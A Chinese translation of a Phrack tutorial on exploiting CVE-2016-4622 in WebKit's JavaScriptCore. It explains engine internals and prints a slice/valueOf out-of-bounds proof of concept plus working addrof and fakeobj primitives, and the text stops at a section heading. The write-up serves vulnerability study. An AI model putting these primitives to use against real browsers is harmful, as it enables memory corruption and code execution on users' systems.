美文网首页浏览器安全
JavaScriptCore-漏洞学习(CVE-2016-462

JavaScriptCore-漏洞学习(CVE-2016-462

作者: Nevv | 来源:发表于2019-08-24 16:50 被阅读0次

A case study of JavaScriptCore and CVE-2016-4622

翻译自:http://www.phrack.org/papers/attacking_javascript_engines.html

目录

0 - Introduction
1 - JavaScriptCore overview
    1.1 - Values, the VM, and (NaN-)boxing
    1.2 - Objects and arrays
    1.3 - Functions
2 - The bug
    2.1 - The vulnerable code
    2.2 - About JavaScript type conversions
    2.3 - Exploiting with valueOf
    2.4 - Reflecting on the bug
3 - The JavaScriptCore heaps
    3.1 - Garbage collector basics
    3.2 - Marked space
    3.3 - Copied space
4 - Constructing exploit primitives
    4.1 - Prerequisites: Int64
    4.2 - addrof and fakeobj
    4.3 - Plan of exploitation
5 - Understanding the JSObject system
    5.1 - Property storage
    5.2 - JSObject internals
    5.3 - About structures
6 - Exploitation
    6.1 - Predicting structure IDs
    6.2 - Putting things together: faking a Float64Array
    6.3 - Executing shellcode
    6.4 - Surviving garbage collection
    6.5 - Summary
7 - Abusing the renderer process
    7.1 - WebKit process and privilege model
    7.2 - The same-origin policy
    7.3 - Stealing emails
8 - References
9 - Source code

介绍

​ 本文将以一个特定的漏洞为例,介绍JavaScript引擎漏洞利用。特定的目标是JavaScriptCore, 他是WebKit中的引擎。该漏洞为CVE-2016-4622,于2016年初被发现。它允许攻击者泄漏地址,并将假的JavaScript对象注入引擎。将导致RCE。bug在650552a中得到了修复。本文中的代码片段取自commit 320b1fc,这是最后一个易受攻击的布丁。该漏洞大约是在一年前提交2fa4973时引入的。所有的攻击代码都在Safari 9.1.1上测试过。利用上述漏洞需要了解引擎内部的各种知识,但是这些知识本身也非常有趣。因此,作为现代JavaScript引擎一部分的各种部分将在本文中进行讨论。我们将关注javascriptCore的实现,但是这些概念通常也适用于其他引擎。在大多数情况下,不需要具备JavaScript语言的先验知识。

1 - JavaScriptCore 概述

在high level,JavaScript引擎包含

  • 编译器基础设施,通常包括至少一个即时(JIT)编译器

  • 操作JavaScript value的虚拟机

  • 提供一组内置对象和函数的运行时库

我们不关心编译器的内部工作,因为其基础设施太多,并且它们大多与此特定bug无关。就我们的目的而言,将编译器视为一个黑盒就足够了,从给定的源代码能够返回字节码(对于JIT编译器,可能是原生代码)

1.1 - The VM, Values, and NaN-boxing

  • 关于 NaN-boxing技术的介绍 https://www.cnblogs.com/qicosmos/p/4285409.html

    NaN-boxing 总共64位,最高位是一个符号位,可能是0也可能是,接下来的11位全部为1,则这个浮点数就是一个NAN,符号位如果为1则表示是一个quiet NAN,如果为1则表示是一个signed NAN。因此一个NAN只需要前面的12位来表示就行了,那么剩下的52位则可以用来编码,比如我们用剩下的52位中的前4位来表示一个数据的类型,后面的48位用来表示数据的值或地址。表示类型的4位我们称为tag,它最多可以用来表示16种类型的数据,后面的48位我们称为payload,用它来表示实际的数据或数据的地址,对于小于等于32位的数字可以直接存到payload中,对于其它类型的数据可以保存其地址到payload中,因为x86 32位和64位系统中,地址最多不超过47位,所以用48位来保存数据的地址是完全够用的。

虚拟机(VM)通常包含一个解释器,它可以直接执行给定的字节码。VM通常被实现为基于堆栈的机器(与基于寄存器的机器相反),因此围绕一堆值进行操作。特定操作码的实现handler可能是这样的:

    CASE(JSOP_ADD)
    {
        MutableHandleValue lval = REGS.stackHandleAt(-2);
        MutableHandleValue rval = REGS.stackHandleAt(-1);
        MutableHandleValue res = REGS.stackHandleAt(-2);
        if (!AddOperation(cx, lval, rval, res))
            goto error;
        REGS.sp--;
    }
    END_CASE(JSOP_ADD)

​ 注意,这个例子实际上取自Firefox的Spidermonkey引擎,因为JavaScriptCore(从这里开始缩写为JSC)使用的解释器是以汇编语言的形式编写的,因此不像上面的例子那么简单。感兴趣的读者可以在LowLevelInterpreter64.asm中找到JSC的低层解释器(llint)的实现。

​ 通常,第一阶段JIT编译器(有时称为base line JIT)负责消除解释器的一些调度开销,而高级阶段JIT编译器执行复杂的优化,类似于我们习惯的ahead-of-time编译器。优化JIT编译器通常是猜测性的,这意味着它们将基于一些猜测执行优化,例如。“这个变量总是包含一个数字”。如果这种猜测最终被证明是错误的,代码通常会被释放到较低的层之一。有关不同执行模式的更多信息,请参考[2]和[3]。

​ JavaScript是一种动态类型语言。因此,类型信息与(运行时)值关联,而不是与(编译时)变量关联。JavaScript类型系统[4]定义了基本类型(数字、字符串、布尔值、null、未定义的符号)和对象(包括数组和函数)。特别是,JavaScript语言中没有像其他语言中那样的类概念。相反,JavaScript使用的是所谓的“基于原型的继承”,其中每个对象都有一个(可能是空的)对原型对象的引用,其中包含了原型对象的属性。感兴趣的读者可以参考JavaScript规范[5]以获得更多信息。

​ 出于性能原因(快速复制,适合64位体系结构上的寄存器),所有主要JavaScript引擎都是用不超过8字节表示一个value。一些引擎,比如谷歌的v8使用带tag的指针来表示值。这里,最不重要的位表示该值是指针还是直接值的某种形式。另一方面,Firefox中的JavaScriptCore (JSC)和Spidermonkey使用了一个称为NaN-boxing.的概念。NaN-boxing利用了多个位模式都表示NaN的事实,因此可以在其中编码其他值。具体来说,每个IEEE 754浮点值与所有指数位集,但一个分数不等于零表示NaN。对于双精度值[6],这给我们留下了2^51个不同的位模式(忽略符号位,将第一个分数位设置为1,以便仍然可以表示nullptr)。这足以编码32位整数和指针,因为即使在64位平台上,当前也只有48位用于寻址。

​ JSC使用的方案在JSCJSValue.h中得到了很好的解释。鼓励读者自行阅读。下面将引用比较重要的相关部分:

    * The top 16-bits denote the type of the encoded JSValue:
    *
    *     Pointer {  0000:PPPP:PPPP:PPPP
    *              / 0001:****:****:****
    *     Double  {         ...
    *              \ FFFE:****:****:****
    *     Integer {  FFFF:0000:IIII:IIII
    *
    * The scheme we have implemented encodes double precision values by
    * performing a 64-bit integer addition of the value 2^48 to the number.
    * After this manipulation no encoded double-precision value will begin
    * with the pattern 0x0000 or 0xFFFF. Values must be decoded by
    * reversing this operation before subsequent floating point operations
    * may be performed.
    *
    * 32-bit signed integers are marked with the 16-bit tag 0xFFFF.
    *
    * The tag 0x0000 denotes a pointer, or another form of tagged
    * immediate. Boolean, null and undefined values are represented by
    * specific, invalid pointer values:
    *
    *     False:     0x06
    *     True:      0x07
    *     Undefined: 0x0a
    *     Null:      0x02
    *

1.2 Objects and Arrays

​ JavaScript中的对象本质上是属性的集合,这些属性存储为(key, value)对。属性可以通过点操作符(foo.bar)或方括号(foo['bar'])访问。至少在理论上,在执行查找之前,用作键的值被转换为字符串。

​ 该规范将数组描述为特殊(“外来”)对象,如果属性名可以用32位整数[7]表示,则该对象的属性也称为元素。今天的大多数引擎将这个概念扩展到所有对象。然后,数组变成一个具有特殊“length”属性的对象,其值总是等于最高元素的索引加上1。所有这些的最终结果是,每个对象都具有通过字符串或符号键访问的属性和通过整数索引访问的元素。

​ 在内部,JSC将属性和元素存储在同一个内存区域中,并在对象本身中存储指向该区域的指针。这个指针指向区域的中间,属性存储在它的左边(较低的地址),元素存储在它的右边。在指向地址之前还有一个小标题,它包含元素向量的长度。这个概念称为“Butterfly”,因为值向左右扩展,类似于蝴蝶的翅膀。大概。在下面,我们将把指针和内存区域都称为“Butterfly”。如果从上下文上看不明显,则说明其具体含义。

--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
                            ^
                            |
            +---------------+
            |
  +-------------+
  | Some Object |
  +-------------+

​ 虽然是典型的,但是元素并不一定要线性地存储在内存中。特别是如下代码:

    a = [];
    a[0] = 42;
    a[10000] = 42;

​ 可能会导致以某种稀疏模式存储的数组,该数组将执行从给定索引到索引到备份存储的额外映射步骤。这样,这个数组就不需要10001值槽。除了不同的数组存储模型外,数组还可以使用不同的表示形式存储数据。例如,一个32位整数数组可以以原生形式存储,以避免在大多数操作期间(NaN-)unboxing和reboxing过程,并节省一些内存。因此,JSC定义了一组不同的索引类型,这些类型可以在IndexingType.h中找到。最重要的是:

ArrayWithInt32      = IsArray | Int32Shape;
ArrayWithDouble     = IsArray | DoubleShape;
ArrayWithContiguous = IsArray | ContiguousShape;

​ 在这里,最后一个类型存储jsvalue,而前两个类型存储它们的原生类型。此时,读者可能想知道在这个模型中如何执行属性查找。稍后我们将深入讨论这个问题,但是简短的版本是一个特殊的元对象,在JSC中称为“struct ure”,它与每个对象相关联,每个对象提供从属性名到slot号的映射。

1.3 - Functions

​ 函数在JavaScript语言中非常重要.当执行函数体时,有两个特殊变量可用。其中之一“arguments”提供对函数的参数(和调用者)的访问,从而支持使用可变数量的参数创建函数。另一个“this”指的是不同的对象,具体取决于函数的调用:

  • 如果函数作为构造函数调用(使用'new func()'),那么'this'指向新创建的对象。它的原型已经被设置为函数对象的.prototype属性,该属性在函数定义期间被设置为一个新对象。
  • 如果函数作为某个对象的方法调用(使用'obj.func()'),那么'this'将指向引用对象。
  • 否则,“this”只是指向当前全局对象,就像它在函数外部所做的那样。

​ 因为函数是JavaScript中的第一个类对象,所以它们也可以有属性。我们已经看到了上面的.prototype属性。每个函数(实际上是函数原型)的另外两个非常有趣的属性是.call和.apply函数,它们允许使用给定的“this”对象和参数调用函数。例如,这可以用来实现装饰器的功能:

    function decorate(func) {
        return function() {
            for (var i = 0; i < arguments.length; i++) {
                // do something with arguments[i]
            }
            return func.apply(this, arguments);
        };
    }

​ 这对引擎内JavaScript函数的实现也有一些影响,因为它们不能对使用它们调用的引用对象的值做任何假设,因为它可以从脚本中设置为任意值。因此,所有内部JavaScript函数不仅需要检查参数的类型,还需要检查对象的类型。

​ 在内部,内置函数和方法[8]通常以两种方式之一实现:作为c++中的原生函数或JavaScript本身。让我们看一个JSC中原生函数的简单例子:Math.pow()的实现:

    EncodedJSValue JSC_HOST_CALL mathProtoFuncPow(ExecState* exec)
    {
        // ECMA 15.8.2.1.13

        double arg = exec->argument(0).toNumber(exec);
        double arg2 = exec->argument(1).toNumber(exec);

        return JSValue::encode(JSValue(operationMathPow(arg, arg2)));
    }

我们可以看到:

  1. 原生JavaScript函数的签名

  2. 如何使用参数方法提取参数(如果没有提供足够的参数,则返回未定义的值)

  3. 参数如何转换为所需类型。有一套转换规则来控制例如数组到数字的转换,toNumber将使用这些规则。稍后将详细介绍这些。

  4. 如何对原生数据类型执行实际操作

  5. 如何将结果返回给调用者。在本例中,只需将生成的原生数字编码为一个值。

这里还有另一种可见的模式:各种操作的核心实现(在本例中是operationMathPow)被移动到单独的函数中,以便可以直接从JIT编译的代码中调用它们。

2. The bug

​ 问题在于Array.prototype.slice的实现[9]。原生函数arrayProtoFuncSlice,位于ArrayPrototype.cpp,每当在JavaScript中调用slice方法时调用:

    var a = [1, 2, 3, 4];
    var s = a.slice(1, 3);
    // s now contains [2, 3]

​ 下面给出了实现,并进行了少量的格式调整、删除影响理解的代码片段增强可读性,以及下面解释的注视。完整的实现可以在网上找到。

   EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
    {
      /* [[ 1 ]] */
      JSObject* thisObj = exec->thisValue()
                         .toThis(exec, StrictMode)
                         .toObject(exec);
      if (!thisObj)
        return JSValue::encode(JSValue());

      /* [[ 2 ]] */
      unsigned length = getLength(exec, thisObj);
      if (exec->hadException())
        return JSValue::encode(jsUndefined());

      /* [[ 3 ]] */
      unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
      unsigned end =
          argumentClampedIndexFromStartOrEnd(exec, 1, length, length);

      /* [[ 4 ]] */
      std::pair<SpeciesConstructResult, JSObject*> speciesResult =
        speciesConstructArray(exec, thisObj, end - begin);
      // We can only get an exception if we call some user function.
      if (UNLIKELY(speciesResult.first ==
      SpeciesConstructResult::Exception))
        return JSValue::encode(jsUndefined());

      /* [[ 5 ]] */
      if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &&
            isJSArray(thisObj))) {
        if (JSArray* result =
                asArray(thisObj)->fastSlice(*exec, begin, end - begin))
          return JSValue::encode(result);
      }

      JSObject* result;
      if (speciesResult.first == SpeciesConstructResult::CreatedObject)
        result = speciesResult.second;
      else
        result = constructEmptyArray(exec, nullptr, end - begin);

      unsigned n = 0;
      for (unsigned k = begin; k < end; k++, n++) {
        JSValue v = getProperty(exec, thisObj, k);
        if (exec->hadException())
          return JSValue::encode(jsUndefined());
        if (v)
          result->putDirectIndex(exec, n, v);
      }
      setLength(exec, result, n);
      return JSValue::encode(result);
    }

该代码的实质内容如下:

  1. 获取方法调用的引用对象(这将是数组对象)

  2. 检索数组的长度

  3. 将参数(start和end索引)转换为原生整数类型,并将它们固定到范围[0,length]

  4. 检查是否应该使用species构造函数[11]

  5. 执行切片

​ 最后一步是通过以下两种方式之一完成的:如果数组是一个存储密度较大的原生数组,那么将使用“fastSlice”,它只是使用memcpy的值,使用给定的索引和长度进入新数组。如果不能使用这个快速的方法,则使用一个简单的循环来获取每个元素并将其添加到新数组中。注意,与慢路径上使用的属性访问器相反,fastSlice不执行任何额外的边界检查……;

​ 查看代码,很容易假设变量'begin'和' end '在转换为原生整数后,将小于数组的大小。然而,我们可以通过(ab)使用JavaScript类型转换规则来违背这一假设。

2.1 JavaScript转换规则

JavaScript本质上是弱类型的,这意味着它可以很方便地将不同类型的值转换为当前需要的类型。考虑Math.abs(),它返回参数的绝对值。以下所有调用都是“有效的”调用,这意味着它们不会引发异常:

  Math.abs(-42);      // argument is a number
    // 42
    Math.abs("-42");    // argument is a string
    // 42
    Math.abs([]);       // argument is an empty array
    // 0
    Math.abs(true);     // argument is a boolean
    // 1
    Math.abs({});       // argument is an object
    // NaN

​ 相反,如果将字符串传递给abs(),则强类型语言(如python)通常会引发异常(或者,对于静态类型语言,会发出编译器错误),数字类型的转换规则在[12]中进行了描述。控制从对象类型到数字(以及一般的基本类型)转换的规则特别有趣。

​ 特别是,如果对象具有一个名为“valueOf”的可调用属性,则将调用此方法,如果是原始值,则使用返回值。因此:

Math.abs({valueOf: function() { return -42; }});
    // 42

2.2 利用 "valueOf"

In the case of arrayProtoFuncSlice the conversion to a primitive type is performed in argumentClampedIndexFromStartOrEnd. This method also clamps the arguments to the range [0, length):

JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    double indexDouble = value.toInteger(exec);  // Conversion happens here
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length :
                                  static_cast<unsigned>(indexDouble);

​ 现在,如果我们修改其中一个参数的valueOf函数中的数组长度,那么slice的实现将继续使用前面的长度,从而导致在memcpy期间出现越界访问。

​ 然而,在此之前,我们必须确保如果缩小数组,元素存储实际上是调整了大小的。为此,让我们快速了解一下.length setter的实现。从JSArray:: setLength:

    unsigned lengthToClear = butterfly->publicLength() - newLength;
    unsigned costToAllocateNewButterfly = 64; // a heuristic.
    if (lengthToClear > newLength &&
        lengthToClear > costToAllocateNewButterfly) {
        reallocateAndShrinkButterfly(exec->vm(), newLength);
        return true;
    }

​ 这段代码实现了一个简单的启发式,以避免过于频繁地重新定位数组。为了强制重新定位数组,我们将因此需要新大小比旧大小小得多。将100个元素的大小调整为0就可以了。

    var a = [];
    for (var i = 0; i < 100; i++)
        a.push(i + 0.123);

    var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
    // b = [0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0]

​ 正确的输出应该是一个大小为10的数组,其中填充了“未定义的”值,因为数组在切片操作之前已被清除。不过,我们可以在数组中看到一些浮点值。似乎我们已经读了数组元素后面的一些内容:)

2.3 思考

​ 反思一下这个bug,这个特殊的编程错误并不新鲜,而且已经被利用了一段时间了[13,14,15]。这里的核心问题是(可变的)状态,它“缓存”在堆栈框架中(在本例中是数组对象的长度),并结合各种回调机制,这些回调机制可以在调用堆栈中执行用户提供的代码(在本例中是“valueOf”方法)。通过这种设置,很容易对整个函数的引擎状态做出错误的假设。由于各种事件回调,同样的问题也出现在DOM中。

3. The JavaScriptCore 堆

此时,我们已经读取了数组后面的数据,但不太清楚访问的是什么。要理解这一点,需要一些关于JSC堆分配器的背景知识。

3.1 垃圾回收器机制基础

​ JavaScript是一种垃圾收集语言,这意味着程序员不需要关心内存管理。相反,垃圾收集器将不时地收集无法访问的对象

​ 垃圾收集的一种方法是引用计数,它在许多应用程序中得到了广泛的应用。然而,到目前为止,所有主要的JavaScript引擎都使用标记和清除算法。在这里,收集器定期扫描所有活动对象,从一组根节点开始,然后释放所有活动对象。根节点通常是位于堆栈上的指针,以及全局对象,如web浏览器上下文中的“窗口”对象
​ 垃圾收集系统之间有许多不同之处。现在我们将讨论垃圾收集系统的一些关键属性,这将帮助读者理解一些相关代码。熟悉这个主题的读者可以随意跳到本节的末尾
​ 首先,JSC使用一个保守的垃圾收集器[16]。实际上,这意味着GC不跟踪根节点本身。相反,在GC期间,它将扫描堆栈中任何可能是指向堆的指针的值,并将这些值视为根节点。相反,例如Spidermonkey使用一个精确的垃圾收集器,因此需要将堆栈上对堆对象的所有引用封装在一个指针类中(root <>),该类负责将对象注册到垃圾收集器
​ 接下来,JSC使用增量垃圾收集器。这种垃圾收集器分几个步骤执行标记,并允许应用程序在这两个步骤之间运行,从而减少GC延迟。然而,这需要一些额外的努力才能正确工作。考虑以下情况:

  • GC运行并访问某个对象O及其所有引用的对象。它将它们标记为已访问,然后暂停,以便应用程序可以再次运行。
  • O被修改,一个对另一个对象P的新引用被添加到它。
  • 然后GC再次运行,但是它不知道P。它完成标记阶段并释放P的内存。

​ 为了避免这种情况,在引擎中插入了所谓的写屏障。在这种情况下,它们负责通知垃圾收集器。这些屏障是通过WriteBarrier<>和CopyBarrier<>类在JSC中实现的

​ 最后,JSC同时使用了移动垃圾收集器和非移动垃圾收集器。移动垃圾收集器将活动对象移动到不同的位置,并更新指向这些对象的所有指针。这对许多死对象的情况进行了优化,因为它们没有运行时开销:不是将它们添加到空闲列表中,而是简单地声明整个内存区域是空闲的。JSC将JavaScript对象本身和其他一些对象一起存储在一个非移动堆(标记的空间)中,同时将butterfly和其他数组存储在一个移动堆(复制的空间)中。

3.2 Marked space

​ 标记的空间是一组内存块,这些内存块跟踪分配的单元格。在JSC中,在标记空间中分配的每个对象都必须从JSCell类继承,因此从一个8字节头开始,这个头和其他字段一起包含GC使用的当前单元格状态。收集器使用这个字段来跟踪它已经访问过的单元格

​ 关于标记的空间还有一件值得一提的事情:JSC在每个标记块的开头存储了一个MarkedBlock,实例:

    inline MarkedBlock* MarkedBlock::blockFor(const void* p)
    {
        return reinterpret_cast<MarkedBlock*>(
                    reinterpret_cast<Bits>(p) & blockMask);
    }

​ 这个实例包含一个指向拥有堆和VM实例的指针,如果它们在当前上下文中不可用,则允许引擎获取它们。这使得设置伪对象更加困难,因为在执行某些操作时可能需要一个有效的MarkedBlock实例。因此,如果可能的话,最好在有效的标记块中创建伪对象。

3.3 Copied space

​ 复制的空间存储与标记空间中的某个对象关联的内存缓冲区。这些大多是butterfly,但是类型化数组的内容也可能位于这里。因此,我们的越界访问发生在这个内存区域

这本质上是一个bump分配器:它将简单地返回当前块中的下N个字节的内存,直到该块被完全使用。因此,几乎可以保证下面的两个分配将在内存中相邻地放置(边缘情况是第一个分配将填满当前块)

​ 这对我们来说是个好消息。如果我们分配两个数组,每个数组都有一个元素,那么在几乎所有情况下,这两个butterfly都是相邻的。

4. 构建exp primitives

​ 虽然这个问题中的bug一开始看起来像是一个超绑定读取,但它实际上是一个更强大的原语,因为它允许我们将选择的jsvalue“注入”到新创建的JavaScript数组中,从而“注入”到引擎中。

现在,我们将从给定的bug构造两个exploit原语,允许我们这样做

1. leak the address of an arbitrary JavaScript object and

2. inject a fake JavaScript Object into the engine.

我们将把这些原语称为'addrof' 和 'fakeobj'。

4.1 Prerequisites: Int64

​ 如前所述,我们的exploit原语当前返回浮点值,而不是整数。事实上,至少在理论上,JavaScript中的所有数字都是64位浮点数[17]。实际上,正如前面提到的,出于性能考虑,大多数引擎都有一个专用的32位整数类型,但是在必要时(即溢出时)会转换为浮点值。因此,不可能用JavaScript中的基本数字表示任意64位整数(特别是地址)

​ 因此,必须构建一个helper模块,该模块允许存储64位整数实例。它支持

  • 初始化来自不同参数类型的Int64实例:字符串、数字和字节数组。

  • 通过assignXXX方法将加减法的结果分配给现有实例。使用这些方法可以避免进一步的堆分配,这在某些时候是需要的。

  • 创建新实例,通过添加和子函数存储加减法的结果。

  • 在double、JSValues和Int64实例之间进行转换,以便底层的位模式保持不变。

最后一点值得进一步讨论。如上所述,我们获得了一个double,它的底层内存被解释原生整数,这就是我们想要的地址。因此,我们需要在原生双精度浮点数和整数之间进行转换,以便底层位保持不变。asDouble()可以看作是运行以下C代码

    double asDouble(uint64_t num)
    {
        return *(double*)&num;
    }

​ asJSValue方法进一步NaN-boxing过程,并使用给定的位模式生成JSValue。感兴趣的读者可以参考附带的源代码归档文件中的int64.js文件了解更多细节
​ 解决了这个问题之后,让我们回到构建我们的两个exploit原语。

4.2 addrof and fakeobj

​ 这两个原语都依赖于这样一个事实,即JSC将双精度数组存储在原生表示中,而不是存储在NaN-boxing表示中。这本质上允许我们编写原生double(索引类型为arraywithdouble),但是让引擎将它们视为JSValues(索引类型为arraywith),反之亦然
​ 因此,以下是利用地址泄漏所需要的步骤:

  1. 创建一个双精度数组。这将作为IndexingType ArrayWithDouble存储在内部

  2. 设置一个具有自定义valueOf函数的对象,该函数将

    2.1缩小之前创建的数组

    2.2分配一个新数组,该数组只包含我们希望知道其地址的对象。这个数组(很可能)将被放在新butterfly的后面,因为它位于复制的空间中

    2.3返回一个大于数组新大小的值来触发bug

  3. 调用目标数组上的slice()作为第2步中的一个参数

​ 现在,我们将以64位浮点值的形式在数组中找到所需的地址。这是因为slice()保留了索引类型。因此,我们的新数组也将把数据视为原生双精度,从而允许我们泄漏任意JSValue实例,从而泄漏指针

​ fakeobj原语实际上是反过来工作的。在这里,我们将原生双精度值注入到JSValues数组中,允许我们创建JSObject指针:

  1. 创建对象数组。它将作为IndexingType arraywith存储在内部

  2. 设置一个具有自定义valueOf函数的对象,该函数将

    2.1缩小之前创建的数组

    2.2分配一个新数组,其中只包含一个双精度数组,其位模式与我们希望注入的JSObject的地址匹配。由于数组的索引类型是ArrayWithDouble,所以double将以原生形式存储

    2.3返回一个大于数组新大小的值来触发bug

3.调用目标数组上的slice()作为第2步中的一个参数

为了完整起见,下面打印了这两个原语的实现。

function addrof(object) {
        var a = [];
        for (var i = 0; i < 100; i++)
            a.push(i + 0.1337);   // Array must be of type ArrayWithDoubles

        var hax = {valueOf: function() {
            a.length = 0;
            a = [object];
            return 4;
        }};

        var b = a.slice(0, hax);
        return Int64.fromDouble(b[3]);
    }

    function fakeobj(addr) {
        var a = [];
        for (var i = 0; i < 100; i++)
            a.push({});     // Array must be of type ArrayWithContiguous

        addr = addr.asDouble();
        var hax = {valueOf: function() {
            a.length = 0;
            a = [addr];
            return 4;
        }};

        return a.slice(0, hax)[3];
    }

4.3 Plan of exploitation

从这里开始,我们的目标将是通过一个伪JavaScript对象获得一个任意的内存读写原语。我们面临以下问题

  • 我们想要假冒什么样的东西
  • 我们如何伪造这样一个对象
  • 我们如何放置假对象以便知道它的地址

一段时间以来,JavaScript引擎一直支持类型化数组[18],这是一种对原始二进制数据进行高效和高度优化的存储。这些对象是伪对象的良好候选对象,因为它们是可变的(与JavaScript字符串相反),因此控制它们的数据指针可以生成一个可从脚本中使用的任意读/写原语。最后,我们的目标是伪造一个Float64Array实例。现在我们将转向问题二和问题三,这需要另一个关于JSC内部的讨论,即JSObject系统。

5. 理解 JSObject system

​ JavaScript对象是通过c++类的组合在JSC中实现的。位于中心的是JSObject类,它本身就是一个JSCell(因此由垃圾收集器跟踪)。JSObject有各种子类,它们松散地类似于不同的JavaScript对象,比如数组(JSArray)、类型化数组(JSArrayBufferView)或代理(JSProxy)

​ 现在,我们将研究组成JSC引擎中的jsobject的不同部分

5.1 属性储存

​ 属性是JavaScript对象最重要的方面。我们已经看到了如何在引擎中存储属性:butterfly。除了butterfly之外,JSObjects还可以有内联存储(默认情况下是6个slots,但要根据运行时分析),位于对象之后的内存中。如果不需要为对象分配butterfly,这可能会导致性能略有提高

​ 内联存储对我们来说很有趣,因为我们可以泄漏对象的地址,从而知道它的内联slots的地址。这些都是放置假对象的好选择。另外,按照前面讨论的方法,这样做还可以避免将对象放在标记块之外时可能出现的任何问题,现在我们来看Q2。

5.2 JSObject internals

我们将从一个例子开始:假设我们运行下面这段JS代码:

obj = {'a': 0x1337, 'b': false, 'c': 13.37, 'd': [1,2,3,4]};

会生成如下的对象:

(lldb) x/6gx 0x10cd97c10
    0x10cd97c10: 0x0100150000000136 0x0000000000000000
    0x10cd97c20: 0xffff000000001337 0x0000000000000006
    0x10cd97c30: 0x402bbd70a3d70a3d 0x000000010cdc7e10

第一个四字是JSCell。第二个是Butterfly指针,它是空的,因为所有属性都内联存储。接下来是四个属性的内联JSValue slot:integer、false、double和JSObject指针。如果我们要向对象添加更多的属性,将在某个时候分配一个butterfly来存储这些属性.那么JSCell包含什么呢? JSCell.h:

StructureID m_structureID;
        This is the most interesting one, we'll explore it further below.

    IndexingType m_indexingType;
        We've already seen this before. It indicates the storage mode of
        the object's elements.

    JSType m_type;
        Stores the type of this cell: string, symbol,function,
        plain object, ...

    TypeInfo::InlineTypeFlags m_flags;
        Flags that aren't too important for our purposes. JSTypeInfo.h
        contains further information.

    CellState m_cellState;
        We've also seen this before. It is used by the garbage collector
        during collection.

5.3 structures相关

​ JSC创建元对象,这些元对象描述JavaScript对象的结构或布局。这些对象表示从属性名到索引到内联存储或butterfly的映射(都被视为JSValue数组)。在其最基本的形式中,这样的结构可以是一个由<property name, slot index>对组成的数组。它也可以实现为链表或散列映射。开发人员没有在每个JSCell实例中存储指向该结构的指针,而是决定在结构表中存储一个32位索引,以便为其他字段节省一些空间那

​ 那么当一个新属性被添加到一个对象时会发生什么呢?如果这是第一次发生,那么将分配一个新的结构实例,其中包含所有现有属性的前一个插槽索引,以及新属性的另一个插槽索引。然后,属性将存储在相应的索引中,这可能需要重新分配butterfly。为了避免重复这个过程,可以将得到的结构实例缓存在前面的结构中,即为“transiton table”的数据结构中。原始结构也可以进行调整,以便预先分配更多的内联存储或butterfly存储,以避免重新分配。这种机制最终使结构可重用.举个例子。假设我们有以下JavaScript代码:

    var o = { foo: 42 };
    if (someCondition)
        o.bar = 43;
    else
        o.baz = 44;

​ 这将导致创建以下三个结构实例,这里显示了(任意)属性名到slot索引映射:


+-----------------+          +-----------------+
|   Structure 1   |   +bar   |   Structure 2   |
|                 +--------->|                 |
| foo: 0          |          | foo: 0          |
+--------+--------+          | bar: 1          |
         |                   +-----------------+
         |  +baz   +-----------------+
         +-------->|   Structure 3   |
                   |                 |
                   | foo: 0          |
                   | baz: 1          |
                   +-----------------+

无论何时再次执行这段代码,都很容易找到所创建对象的正确结构,今天所有的主要引擎基本上都使用相同的概念。V8调用它们映射或隐藏类[19],而Spidermonkey调用它们shape,这种技术还简化了投机性JIT编译器。假设函数如下:

    function foo(a) {
        return a.bar + 3;
    }

​ 进一步假设我们已经在解释器中执行了上述函数几次,现在决定将其编译为原生代码,以获得更好的性能。我们如何处理属性查找?我们可以直接跳到解释器来执行查找,但是这将非常昂贵。假设我们还跟踪了赋给foo作为参数的对象,发现它们都使用相同的结构。我们现在可以像下面这样生成(伪)汇编代码。这里r0最初指向参数对象:

    mov r1, [r0 + #structure_id_offset];
    cmp r1, #structure_id;
    jne bailout_to_interpreter;
    mov r2, [r0 + #inline_property_offset];

​ 这只是比c之类的原生语言中的属性访问慢一些的指令。注意,结构ID和属性偏移量缓存在代码本身中,因此这类代码构造的名称是:内联缓存.除了属性映射之外,结构还存储对ClassInfo实例的引用。这个实例包含类的名称("Float64Array", " HTMLParagraphElement ",…),也可以通过下面的小技巧从脚本中访问:

    bool JSArray::deleteProperty(JSCell* cell, ExecState* exec,
                                 PropertyName propertyName)
    {
        JSArray* thisObject = jsCast<JSArray*>(cell);

        if (propertyName == exec->propertyNames().length)
            return false;

        return JSObject::deleteProperty(thisObject, exec, propertyName);
    }

​ 如我们所见,deleteProperty对于数组的.length属性有一个特殊的情况(它不会删除),但是它会将请求转发给父实现。下一个图总结(并稍微简化)了构建JSC对象系统的不同c++类之间的关系。

    +------------------------------------------+
            |                Butterfly                 |
            | baz | bar | foo | length: 2 | 42 | 13.37 |
            +------------------------------------------+
                                          ^
                                +---------+
               +----------+     |
               |          |     |
            +--+  JSCell  |     |      +-----------------+
            |  |          |     |      |                 |
            |  +----------+     |      |  MethodTable    |
            |       /\          |      |                 |
 References |       || inherits |      |  Put            |
   by ID in |  +----++----+     |      |  Get            |
  structure |  |          +-----+      |  Delete         |
      table |  | JSObject |            |  VisitChildren  |
            |  |          |<-----      |  ...            |
            |  +----------+     |      |                 |
            |       /\          |      +-----------------+
            |       || inherits |                  ^
            |  +----++----+     |                  |
            |  |          |     | associated       |
            |  | JSArray  |     | prototype        |
            |  |          |     | object           |
            |  +----------+     |                  |
            |                   |                  |
            v                   |          +-------+--------+
        +-------------------+   |          |   ClassInfo    |
        |    Structure      +---+      +-->|                |
        |                   |          |   |  Name: "Array" |
        | property: slot    |          |   |                |
        |     foo : 0       +----------+   +----------------+
        |     bar : 1       |
        |     baz : 2       |
        |                   |
        +-------------------+

6. Exploitation 利用

现在我们对JSObject类的内部结构有了更多的了解,让我们回到创建自己的Float64Array实例,它将为我们提供一个任意的内存读/写原语。显然,最重要的部分将是JSCell头部中的结构ID,因为关联的结构实例使我们的内存块在引擎看来“像”一个Float64Array。因此,我们需要知道结构表中的Float64Array结构的ID。

6.1 预测 structure IDs

